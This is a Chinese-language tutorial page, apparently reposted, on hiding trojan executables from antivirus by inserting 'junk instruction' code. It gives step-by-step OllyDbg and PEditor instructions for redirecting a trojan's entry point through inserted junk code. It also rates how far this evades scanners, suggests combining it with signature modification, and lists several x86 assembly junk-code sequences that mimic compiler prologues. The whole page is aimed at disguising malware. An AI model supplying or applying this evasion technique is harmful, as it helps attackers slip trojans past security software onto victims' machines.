首页 > 学院 > 逻辑算法 > 正文

文件逆向之加花指令法

2019-09-10 09:01:54
字体:
来源:转载
供稿:网友
花指令相关知识:
 其实是一段垃圾代码,和一些乱跳转,但并不影响程序的正常运行。加了花指令后,使一些软件无法正确识别木马程序,从而达到的效果。
二.加花指令使木马制作过程详解:

  第一步:配置一个不加木马程序。

  第二步:用OD载入这个木马程序,同时记下入口点的内存地址。

  第三步:向下拉滚动条,找到零区域(也就是可以插入代码的都是0的空白地方)。并记下零区域的起始内存地址。

  第四步:从这个零区域的起始地址开始一句一句的写入我们准备好的花指令代码

  第五步:花指令写完后,在花指令的结束位置加一句:JMP 刚才OD载入时的入口点内存地址。

  第六步:保存修改结果后,最后用PEditor这款工具打开这个改过后的木马程序。在入口点处把原来的入口地址改成刚才记下的零区域的起始内存地址,并按应用更改。使更改生效。        

三.加花指令技术总节:

 1.优点:通用性非常不错,一般一个木马程序加入花指令后,就可以躲大部分的软件,不像改特征码,只能躲过某一种软件

 2.缺点:这种方法还是不能过具有内存查软件,比如瑞星内存查等。

 3.以后将加花指令与改入口点,加,改特征码这几种方法结合起来混合使用效果将非常不错。

四.加花指令要点:

由于黑客网站公布的花指令过不了一段时间就会被软辨认出来,所以需要你自己去搜集一些不常用的花指令,另外目前还有几款软件可以自动帮你加花,方便一些不熟悉的朋友,例如花指令添加器等。

五.常见花指令代码

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
1。 VC++ 5.0
PUSH EBP                                
MOV EBP,ESP                            
PUSH -1                                
push 515448                  
PUSH 6021A8                  
MOV EAX,DWORD PTR FS:[0]                
PUSH EAX                                
MOV DWORD PTR FS:[0],ESP                
ADD ESP,-6C                            
PUSH EBX                                
PUSH ESI                                
PUSH EDI    
jmp 跳转到程序原来的入口点

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
2。c ++
push ebp
mov ebp,esp
push -1
push 111111
push 222222
mov eax,fs:[0]
push eax
mov fs:[0],esp
pop eax
mov fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
jmp 跳转到程序原来的入口点

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
3。跳转
somewhere:                  
      nop                    /"胡乱"跳转的开始...
      jmp 下一个jmp的地址    /在附近随意跳
      jmp ...                /...
      jmp 原入口的地址      /跳到原始oep

--------------------------------------------------
新入口: push ebp
        mov ebp,esp
        inc ecx
        push edx
        nop
        pop edx
        dec ecx
        pop ebp
        inc ecx
        loop somewhere        /跳转到上面那段代码地址去!

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
4。Microsoft Visual C++ 6.0

push ebp
mov ebp,esp
PUSH -1
PUSH 0
PUSH 0
MOV EAX,DWORD PTR FS:[0]
PUSH EAX
MOV DWORD PTR FS:[0],ESP
SUB ESP,68
PUSH EBX
PUSH ESI
PUSH EDI
POP EAX
POP EAX
POP EAX
ADD ESP,68
POP EAX
MOV DWORD PTR FS:[0],EAX
POP EAX
POP EAX
POP EAX
POP EAX
MOV EBP,EAX
JMP 原入口

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

5。
在mov ebp,eax
后面加上
PUSH EAX
POP EAX
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
6.
push ebp
mov ebp,esp
add esp,-0C
add esp,0C
mov eax,403D7D
push eax
retn

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
push ebp
mov ebp,esp
push -1
push 00411222
push 00411544
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
add esp,-6C
push ebx
push esi
push edi
add byte ptr ds:[eax],al
jo 入口
jno 入口
call 下一地址

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
7.

push ebp
nop
nop
mov ebp,esp
inc ecx
nop
push edx
nop
nop
pop edx
nop
pop ebp
inc ecx
loop 任意地址
nop
nop

―――――――――――――――
nop
nop
jmp 下一个jmp的地址    /在附近随意跳

nop
jmp 下一个jmp的地址    /在附近随意跳

nop
jmp 下一个jmp的地址    /在附近随意跳

jmp 入口
====================================================
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表

图片精选